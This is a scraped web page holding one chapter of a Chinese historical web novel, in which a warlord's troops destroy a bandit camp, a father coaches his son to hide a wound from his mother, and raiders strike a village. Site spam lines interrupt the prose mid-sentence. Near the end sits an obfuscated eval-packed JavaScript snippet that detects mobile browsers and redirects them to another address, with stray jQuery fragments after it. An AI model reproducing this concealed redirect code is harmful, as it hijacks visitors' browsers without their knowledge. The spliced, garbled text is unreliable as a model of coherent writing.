默认冷灰
24号文字
方正启体

第150章 父子课堂

作者:未眠灯本书字数:K更新时间:
    青年眸光一凛,反握横于臂上的弯刀正要用力,却听一道破风之声飞来,带出鲜红喷薄。


    先前那咧着嘴、因偷袭成功满脸得意的山贼眼睛骤然大睁,僵硬低头,不可置信地看向自胸膛穿出的箭首。


    而不远处,秦邵宗放出一箭后,面无表情地再次挽弓,第二箭瞄准了藏于高处草木里的王虎。


    王虎方才放了一箭,此刻小半个身子露在外。他见一箭不成,忙躲入茂密的草丛中。


    搭箭拉弓一气呵成,男人骨节粗大的长指松开了虎筋弦。


    又一支箭矢流星似的飞出。


    这一箭比方才所携的力道还要大,初入草丛时如镰刀掠过,割下一把翠绿的残叶后猛地扎入其中,扎出一声惨叫来。


    秦宴州看了一眼不远处的伟岸男人,没说什么,转身帮身后以一敌二的荀禾。


    两个山贼相继倒下。


    荀禾不是不知晓方才的凶险,但刚刚他是真没办法腾出手来,险象环生后,他惊出了一身冷汗,忙向秦宴州道谢,“多谢二公子救我于水火之中。


    秦宴州只稍稍颔首,同样没说什么,他黑睫虚虚一压,目光落在自己的右臂上。


    今日前来剿匪,所有人的穿着都和疏松的平日不同,包括他和秦祈年在内,都穿了玄甲。只不过为了便于登山和徒步追敌,并非从头裹到脚的重甲上阵。


    玄甲即黑铁甲,它的防御性优于布甲和皮甲,但因着其中加了铁,它较之后两者要沉重许多。


    秦宴州和其他北地军一样,玄甲只有上半身,外加一片防护裆部的裈甲。而上身除了护住胸腔等要害部位的胸甲之外,唯有防护上臂的掩膊。


    掩膊堪堪到上臂中,底下是秦宴州的黑袍。而此刻,他手肘侧的黑袍开了约莫一指长的破口。


    深色的衣袍遮掩了一切,看不出流血与否。


    青年颓然地放下手,好半晌才提刀继续上前。几丈外的秦邵宗将他的神情收于眼底。


    东西两面一同夹击,山贼如同被驱赶的羊,只能从后方小径遁走。而北地军初步汇合以后,攻势更猛。


    秦祈年看见秦宴州,乐颠颠上前,“二兄,你拿了多少个贼首?


    秦宴州说不记得了。


    “这么要紧之事,如何能不记得呢?秦祈年皱眉,又见对方打量他,似在寻些什么,便笑着拍拍胸膛,“我没受伤,母亲给我的平安符好使得很。


    当然,另一个原因是这回他忧心不慎破了皮,回去得埋头读书写字,因此特别仔细。


    “你这边如何?少年问。


    秦宴州随意甩了**上的血,“还行。


    贼窝里有的不仅是山贼,还


    你的朋友正在书荒,快去帮帮他吧


    有一些从别处拐来的女郎,既有年轻的,也有年老专门负责做饭的。


    先前打斗声初起时,女郎们就有耳闻,但无人敢出来,如今战局基本落幕,逐渐有人探头探脑。


    待见了一地的山贼尸首后,有人喜极而泣,有人麻木茫然,直到不知何人喊了声“好像是官寺来剿匪后,女郎们才沸腾起来,一窝蜂地往外跑。


    秦邵宗点了魏青,让他领几个兵卒暂且安顿好这些女郎,他则带其余人继续追击余寇。


    秦氏兄弟随秦邵宗一并走。


    他们追了一段,突然听前方传来杀杀声。


    “呦,看来丰叔他们行动了。秦祈年摩拳擦掌,又对秦邵宗说:“父亲,我们赶紧过去吧,前后夹击,打他们个落花流水!


    秦邵宗:“秦三,你和白剑屏且先领人速去。我和秦二稍后就来。


    被点名的几人不明所以,但还是照办,一队人呼啦啦地往前追敌。很快,这条通往后山的小径上只剩下秦邵宗和秦宴州。


    杀气腾腾的队伍离开后,先前被惊飞的鸟雀重新落回树梢上,歪着脑袋打量余下的、并肩同行的父子。


    秦邵宗走在青年的右侧,稍低头就能看见他破了口子的衣袖,“方才伤着了?严重否?


    秦宴州僵住,只摇头,没有说话。他头顶似笼了一层厚重的乌云,周身情绪比先前低落许多。


    “秦二,撇开协议不谈,此番过后你还想上阵否?秦邵宗又问。


    “想的。


    协议撇不开,母亲如此敏锐,待他回去后她必定会知晓一切,所以光想又有何用呢。


    他已不能……


    “想就行。我看你小子完全是轻伤,既然如此,偷偷把衣袖这破口缝好,而后可佯装无事发生。秦邵宗笑道。


    秦宴州惊愕得在原地站定。


    “作甚这般惊讶,难道我说的不可行吗?夫人她虽疼爱你,但你已成人,儿大避母,她必不可能命你脱光让她检查。到时候她问起,你一口咬定自己没受伤即可。秦邵宗嘴角弧度加深。


    秦宴州眼睛微微睁大,“可是……


    “今日教你一课,智者随机应变,愚者墨守成规,成大事者不拘小节。秦邵宗不知从哪儿摸出一个绣了小花的荷包。


    他没有再看身旁青年,目光落在荷包上,“你想建功立业,目的除了施展自己的抱负,我想亦有不少夫人的原因。而她不想你冒险上阵是拳拳慈母心,完全可以理解,毕竟失而复得远比一直在侧更显珍贵;但你小子真的甘心一辈子碌碌无为,无法报母恩吗?


    秦宴州不自觉


    听说和异性朋友讨论本书情节的,很容易发展成恋人哦


    抿紧了唇。


    秦邵宗没听到应答,也不催促。


    男人带着厚茧的长指抚过荷包上的小花,其内没有平安符,却并非扁扁的空无一物,而是鼓起明显的弧度。


    手指捏开荷包袋口,隐约可见里面装着一枚小玉,形状狭长,好像是一枚笔枕。


    “我话已至此,剩余的你自行考虑。”秦邵宗猝地大掌收紧,将小荷包牢牢收于手中。


    不知想起什么,他后面笑着又添了一句,“倘若你愿意按我说的做,就寻一信得过的女郎,让她速速帮你把外袍缝好。”


    话毕,秦邵宗不再悠哉悠哉地走,提了些速度追前面的大部队。


    秦宴州跟上。


    “啊切!”黛黎突然打了个喷嚏。


    念夏紧张道:“夫人,奴给您添件衣吧,有道春捂秋冻,您莫要着凉了。”


    黛黎揉了揉鼻子,“我不觉得冷。”


    但念夏还是回拿了件衣裳。


    黛黎看向春苗山的方向,喃喃道:“现在都已经卯时末了,那边应该到后半程了吧,希望一切顺利。”


    不知是否黛黎的错觉,她好像听到了兵戈交错的铛铛声。她正要凝神静听,此时却见一人从院外匆忙跑进来。


    “主母,村尾遭到了贼寇袭击,请您与施小娘子待在一起,莫要四处走动。”来的是胡豹。


    黛黎非常惊愕,“山贼袭击村尾?可村尾与春苗山在两个相对的方向,并不临近,那些山贼又怎么会……”


    她突然卡顿,想起小半月前的袭击。


    那场夜袭以后,“山贼”再未出现。如今看来对方并非遁走,而是藏起来伺机而动。


    而秦邵宗领人剿匪,正是那个“机”。


    震惊过后她很快镇定下来,“无事。我听闻上回夜袭的最初不过百人,后来过半被你们斩于刀下。如果此番来的是同一批,那么他们多半只余五十人不到。而我方有百人之多,人数上占优势。不过对方这次来袭,目的应该与先前一样。胡豹,朝廷那些人得安顿好,不能再让他们**掉了。”


    胡豹郑重道,“请主母放心,我等必不让那些宵小得逞。”


    黛黎笑了笑,“辛苦了。”


    胡豹离开后,施溶月和她的贴身女婢很快来到黛黎住的院子里,集中待着。


    而那时黛黎正在和院子的主人说话。她和秦邵宗住在村长家,此刻和她交谈的正是老村长的儿媳。


    “……对,这附近只有一窝山匪,说起来还是前年才有的咧。那些个山匪起初只有十来人,听闻好像是哪儿来的逃犯,逃到春苗山落草。他们时常**路过商贾,后来这里有山贼的消息传了出去,不知怎的,越来越多人在这里落草为寇。”村妇如此说


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    。


    黛黎若有所思,“只有一窝山匪,所以来的果然是他们。


    村妇听不懂“他们是指何人,她忧心不已,“贵人,这东边有贼寇,西边亦有。顾头难顾尾的,会不会……


    万一抵挡不住,真叫山贼入了村,首当其冲一定是他们这些手无缚鸡之力的村民。


    黛黎抬头看了眼天色。


    卯时末,距离寅时末才堪堪过了一个时辰。一个时辰,两个小时。


    对于彻底拔除贼窝而言,时间尚早。


    黛黎按了按眉心。


    方才她在胡豹面前很镇定,但唯有黛黎自己才知晓,她始终有些担忧。


    她刚刚所说的“无事,都建立在她猜测对方只有五十人的基础上。如果对面不止五十多人……


    黛黎看向村妇,问:“你这里有鼓吗?


    春苗山上。


    在大型战争里,战败的一方如果及时投降,大概率不会掉脑袋。


    代表人力资源的俘虏无疑是宝贵财富。就如去年的兖州一战,战败的兖州军经秦邵宗重新编排后,全部化作了耕地的劳动力。


    不过此番是例外。


    山贼作恶多端是其一,秦邵宗抱了某些心思是其二,总之他没下令留活口。


    待父子二人来到时,这场单方面碾压的小战役已结束得差不多了。


    山贼的尸首横七竖八地躺着,血流自他们的断颈或胸膛处源源不断流出,在地上聚成小水泊似的浅坑,又被后来者一脚踩得溅向四周。


    白剑屏见秦邵宗来,汇报道:“君侯,贼寇已尽数诛灭,企图逃下山的贼人共计五十二人。


    “五十二啊,再加山上那些个尸首,这个贼窝得有百人了吧。秦祈年啧啧两声,“没想到还是个大贼窝。


    秦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684599|188795||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    邵宗正欲说话,突然听见远处传来一声又一声的鼓鸣。男人霎时冷了脸,转头看向村庄的方向。


    在众多乐器之中,鼓声的穿透力数一数二,因此行军和祭祀中常会以鼓传音递消息或助威。


    其余人皆是愣住,难以置信。


    “方才那是鼓声?何人击鼓?


    “等等,那不是普通的鼓声,是行军号!


    “好像是村庄方向,怎会如此?我们夜袭贼窝,按理说寅时时山贼都在睡大觉,又怎会下山去?


    秦邵宗:“白剑屏和秦三,你们领二十人打扫战场,剩余的通通随我回去。


    被点名的秦祈年下意识应声,回答完后他又去看秦宴州。


    父亲没点二兄的名字,所以二兄也要随父亲回去杀敌?如果是平时,他高低要争取一番,但今日……


    咳,罢了,先服从命令吧。


    方才被贼寇刀尖划破衣袖、但未破皮的秦祈年心


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    有余悸。


    小山村。


    邓千峰杀得眼底赤红,与胡豹好一通你来我往地缠斗后,后知后觉他这战线并未往里推进多少。


    “咚咚咚——”


    村中陡然爆发鼓声。


    都是军中人,邓千峰一听便知这是行军号。他面色顿时变得相当难看,一边挡着胡豹的攻势,一边吼道:“时间不多,分散进村!”


    村庄和城池不一样,前者建于四通八达之地,后者有城墙相护。若要进村,除了前后两条可供车马行进的山路外,还可草丛或树林中钻入。


    其他人闻声得令,当即一哄而散。


    胡豹额上青筋跳了跳。


    君侯留下百人保护主母,百人是总兵力的三分一,已是不少了。但一百人若要守护整个千人村庄的同时,还要竭力击杀如同泥鳅般四处游窜的“山贼”,不得不说很吃力。


    尤其主母院子处的兵力是定桩,绝不能调开。


    村中乱作一团,住在另一处的郭奈和申天鸣焉能听不到动静。


    郭奈惊愕难掩,“武安侯不是领人剿匪去了吗,怎会有贼寇入村?难道是余孽被逼下山,撞进村里来?”


    申天鸣为武将,这方面的经验比郭奈多。他皱眉摇头,“我瞧着不像,春苗山在东,那声音从西面来。且余寇要逃,又岂会往人多之地遁走?”


    郭奈面色难看,“难道又是……”


    这时外面有北地兵卒来。


    来者拱手后开门见山:“申将军、郭常侍,村中遇袭,贼寇来势汹汹,我方兵力有限,还望两位与其他朝廷士卒莫要离开院子。”


    纯粹是传个讯,那人说完就走。


    郭奈神色变幻数番后,他忽然看向一旁的申天鸣,“申将军觉得这次的贼祸是自导自演否?”


    申天鸣摸了摸下巴:“不好说。”


    郭奈阴恻恻地笑了声,“申将军,如今这村中最安全之地,并非你我脚下这处。”


    申天鸣听他话中有话,“你是何意?”


    “我们去寻君侯夫人如何?”郭奈眼底有狠色,“如果此番是武安侯以山贼为幌,咱们就拿他夫人和外甥女当人质;如果我猜测有误,那也好办,那就借她周边的兵力护一护自身。”


    “好极!”


    秦邵宗领着人匆忙回到村庄时,村中主道上已是一片血迹斑斑,远处刀刃相碰声不绝于耳。


    伟岸的男人冷着脸抬手往前下压,不用多言,他身后的北地士卒霎时如出闸的虎,迅速冲入散落于各方位的小型战场中。


    秦邵宗径直往村长的屋舍走,沿途撞上来的山贼,全部被他顺手解决。


    而越是靠近,两旁死伤的人便愈多,浓郁的血腥气随风拂来,叫人觉得鼻上仿佛捂了一条湿漉漉的血巾。


    “君侯!”守在院前的侍卫见秦邵宗回来,皆是激动非常。


    木质的院门坏了大半,只剩半边歪斜着被风吹得微响。


    他的目光穿过其内,待看见院中穿着烟紫色襦裙的女人时,那根紧绷的弦才猝地松下来。


    秦邵宗呼出一口浊气。


    他这才分出心神看其他,见黛黎和施溶月皆在院里,没有待在屋内:“夫人和茸茸怎的不进屋?”


    黛黎见他回来,院外还有一批候着的北地军,说实话放松不少,“申将军和郭常侍在屋里,情况……有些特殊。”


    秦邵宗闻言皱起长眉,“他们不在自己屋中待着,作甚要鸠占鹊巢?”


    黛黎解释道:“郭常侍说他忧心我被贼人所害,遂忙赶来相助。结果他在来时路上被埋伏的贼寇砍了一臂,丁先生和申将军如今在屋里照看他。”


    众人诧异。


    秦邵宗毫不掩饰地嘲笑出声,“啧,这是老天看不惯他不协调至此,干脆派人把他另一条手臂也一并削了。”


    黛黎:“……你小点声。”


    似想到什么,秦邵宗侧头看向一旁的秦宴州,“秦二,此地污秽,你带施茸茸到隔壁去。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)